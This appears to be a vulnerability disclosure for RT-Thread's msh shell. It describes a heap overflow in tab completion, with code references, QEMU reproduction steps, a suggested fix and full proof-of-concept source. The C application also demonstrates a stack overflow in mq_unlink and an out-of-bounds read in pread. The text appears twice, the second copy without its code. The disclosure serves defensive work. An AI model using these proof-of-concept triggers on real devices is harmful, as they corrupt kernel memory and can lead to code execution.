Summary
msh_auto_complete_path() (components/finsh/msh.c) copies the matched
filesystem entry name into shell->line (257 bytes:
char line[FINSH_CMD_SIZE + 1], shell.h:78) without checking that the
result still fits:
/* components/finsh/msh.c:744-746 */
length = index - path;
rt_memcpy(index, full_path, min_length); /* min_length NOT clamped */
path[length + min_length] = '\0';
...
strcat(path, "/"); /* msh.c:756/764 */
min_length starts as rt_strlen(dirent->d_name) (msh.c:711-723) — i.e.
up to 255 for an LFN entry (RT_DFS_ELM_MAX_LFN=255) — and the typed prefix
can itself be up to 256 characters. Nothing compares
length + min_length against FINSH_CMD_SIZE, so the memcpy writes up to
~512 bytes into the 257-byte heap-embedded line[] array of the
rt_calloc'd struct finsh_shell (shell.c:1036).
A second, related primitive in the same function: full_path = rt_malloc(256) (msh.c:640) is filled by a prefix loop
(msh.c:667-672) with getcwd() + typed directory portion, unbounded; and
getcwd() is implemented via rt_strncpy() which does NOT NUL-terminate
on truncation (dfs_posix.c:1373, kstring.c:361-388), so a working
directory of ≥256 characters already causes an out-of-bounds
rt_strlen(full_path) read and subsequent overflow of the 256-byte chunk.
Affected
- Component: finsh/msh (
components/finsh/msh.c)
- Revision: master
6ea6827
- Configuration: default shell (
RT_USING_FINSH, FINSH_USING_MSH,
DFS_USING_POSIX); no separate completion switch exists in this tree
(FINSH_USING_TAB_COMPLETION does not exist — TAB dispatch at
shell.c:793-801 is unconditional).
Reproduction (QEMU, bsp/qemu-vexpress-a9)
Prepare a file with a 184-character name on the FAT root directory, then at
the msh prompt type echo + 200 characters that prefix the long name, and
press TAB (console output followed by the rendered screenshot):
msh />echo LLLL…(200 chars)→[TAB]
msh />echo L

The 205-character line has been physically destroyed by the completion
write: length(205) + min_length(184) + 1 = 390 bytes were written into
line[257], i.e. 133 bytes past the end of the array, corrupting the
adjacent line_position / line_curpos fields (shell.h:79-80) and the
tail of the heap-allocated shell object. (In another variant — a 250-char
prefix — the completion even leaks a stray NUL byte onto the terminal,
visible in the raw log.)
The write extent is attacker-tunable via the prefix length and the matched
filename length; overflow bytes come from the attacker-created filename.
Expected result
Completion must never write beyond FINSH_CMD_SIZE; a completion that does
not fit is truncated or refused (finsh_shell_update_line_length()
currently runs only AFTER the unclamped write, shell.c:803).
Impact
- Attacker model: anyone with interactive console access (physical UART, or
network-exposed console deployments) — the long entry names can be created
beforehand from the same console (mkdir) or supplied via the SD image.
- Impact: kernel heap corruption with attacker-influenced bytes; on no-MMU
devices, crash to code execution. Note the shell's intended capability
boundary is "run exported commands" — memory corruption from a TAB key
press is outside any documented capability (and FINSH_USING_AUTH
shows the console is treated as a boundary in some deployments).
Suggested fix
Clamp before every write, e.g. in msh_auto_complete_path():
if (length + min_length >= FINSH_CMD_SIZE) /* refuse overlong completion */
return;
and bound the full_path prefix loop by the 256-byte allocation, plus
NUL-terminate in getcwd() on truncation (dfs_posix.c:1373).
Complete PoC source
The full PoC application (bsp/applications/poc.c, English only, uses only
public exported APIs — dfs_mount, mq_unlink, open/write/pread) and the
msh script poc.sh are reproduced here; they are also archived at
REYu6/rt-thread-poc-evidence
together with the rendered console screenshots.
poc.sh (executed on the target as /poc.sh)
mkdir /tmp
poc_mount
mkdir /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bsp/applications/poc.c
#include <rtthread.h>
/* PoC application: simulates a user application / msh script caller.
* Targets: RT-Thread master 6ea6827, qemu-vexpress-a9 default config. */
extern int dfs_mount(const char *device, const char *path, const char *fs, unsigned long rwflag, void *data);
extern int open(const char *, int, ...);
extern long write(int, const void *, unsigned long);
extern long pread(int, void *, unsigned long, long);
extern int close(int);
extern int mq_unlink(const char *);
static void poc_mount(int argc, char **argv)
{
int r = dfs_mount(RT_NULL, "/tmp", "tmp", 0, RT_NULL);
rt_kprintf("[poc] mount tmpfs on /tmp -> %d (0=ok)\n", r);
}
MSH_CMD_EXPORT(poc_mount, mount tmpfs at /tmp);
static void poc_mq(int argc, char **argv)
{
char name[512];
int i;
for (i = 0; i < 200; i++) name[i] = 'M';
name[200] = '\0';
rt_kprintf("[poc] mq_unlink with 200-char name (buffer is %d bytes)...\n", 16 + 12);
mq_unlink(name);
rt_kprintf("[poc] mq_unlink RETURNED (no crash)\n");
}
MSH_CMD_EXPORT(poc_mq, trigger mq_unlink long-name stack overflow);
static void poc_pread(int argc, char **argv)
{
long off = -64;
int fd;
char buf[40];
long n;
int i;
if (argc > 1) off = atol(argv[1]);
fd = open("/tmp/leak.txt", 2 /*O_RDWR*/ | 0x200 /*O_CREAT*/, 0777);
if (fd < 0) { rt_kprintf("[poc] open failed fd=%d errno=%d\n", fd, (int)rt_get_errno()); return; }
write(fd, "AAAABBBBCCCCDDDD", 16);
rt_memset(buf, 0, sizeof(buf));
rt_kprintf("[poc] pread(fd, buf, 32, %ld) on tmpfs file ...\n", off);
n = pread(fd, buf, 32, off);
rt_kprintf("[poc] pread returned %d bytes:", (int)n);
for (i = 0; i < 32; i++) rt_kprintf(" %02x", (unsigned char)buf[i]);
rt_kprintf("\n[poc] done\n");
close(fd);
}
MSH_CMD_EXPORT(poc_pread, pread negative-offset OOB read demo: poc_pread [offset]);
Build (bsp/qemu-vexpress-a9, unmodified default configuration):
cd bsp/qemu-vexpress-a9
RTT_ROOT=/path/to/rt-thread scons -j8
qemu-system-arm -M vexpress-a9 -kernel rtthread.elf -sd sd.bin -nographic
Summary
msh_auto_complete_path()(components/finsh/msh.c) copies the matchedfilesystem entry name into
shell->line(257 bytes:char line[FINSH_CMD_SIZE + 1],shell.h:78) without checking that theresult still fits:
min_lengthstarts asrt_strlen(dirent->d_name)(msh.c:711-723) — i.e.up to 255 for an LFN entry (
RT_DFS_ELM_MAX_LFN=255) — and the typed prefixcan itself be up to 256 characters. Nothing compares
length + min_lengthagainstFINSH_CMD_SIZE, so the memcpy writes up to~512 bytes into the 257-byte heap-embedded
line[]array of thert_calloc'dstruct finsh_shell(shell.c:1036).A second, related primitive in the same function:
full_path = rt_malloc(256)(msh.c:640) is filled by a prefix loop(
msh.c:667-672) withgetcwd()+ typed directory portion, unbounded; andgetcwd()is implemented viart_strncpy()which does NOT NUL-terminateon truncation (
dfs_posix.c:1373,kstring.c:361-388), so a workingdirectory of ≥256 characters already causes an out-of-bounds
rt_strlen(full_path)read and subsequent overflow of the 256-byte chunk.Affected
components/finsh/msh.c)6ea6827RT_USING_FINSH,FINSH_USING_MSH,DFS_USING_POSIX); no separate completion switch exists in this tree(
FINSH_USING_TAB_COMPLETIONdoes not exist — TAB dispatch atshell.c:793-801is unconditional).Reproduction (QEMU, bsp/qemu-vexpress-a9)
Prepare a file with a 184-character name on the FAT root directory, then at
the msh prompt type
echo+ 200 characters that prefix the long name, andpress TAB (console output followed by the rendered screenshot):
The 205-character line has been physically destroyed by the completion
write:
length(205) + min_length(184) + 1 = 390bytes were written intoline[257], i.e. 133 bytes past the end of the array, corrupting theadjacent
line_position/line_curposfields (shell.h:79-80) and thetail of the heap-allocated shell object. (In another variant — a 250-char
prefix — the completion even leaks a stray NUL byte onto the terminal,
visible in the raw log.)
The write extent is attacker-tunable via the prefix length and the matched
filename length; overflow bytes come from the attacker-created filename.
Expected result
Completion must never write beyond
FINSH_CMD_SIZE; a completion that doesnot fit is truncated or refused (
finsh_shell_update_line_length()currently runs only AFTER the unclamped write,
shell.c:803).Impact
network-exposed console deployments) — the long entry names can be created
beforehand from the same console (
mkdir) or supplied via the SD image.devices, crash to code execution. Note the shell's intended capability
boundary is "run exported commands" — memory corruption from a TAB key
press is outside any documented capability (and
FINSH_USING_AUTHshows the console is treated as a boundary in some deployments).
Suggested fix
Clamp before every write, e.g. in
msh_auto_complete_path():and bound the
full_pathprefix loop by the 256-byte allocation, plusNUL-terminate in
getcwd()on truncation (dfs_posix.c:1373).Complete PoC source
The full PoC application (
bsp/applications/poc.c, English only, uses onlypublic exported APIs —
dfs_mount,mq_unlink,open/write/pread) and themsh script
poc.share reproduced here; they are also archived atREYu6/rt-thread-poc-evidence
together with the rendered console screenshots.
poc.sh (executed on the target as
/poc.sh)bsp/applications/poc.c
Build (
bsp/qemu-vexpress-a9, unmodified default configuration):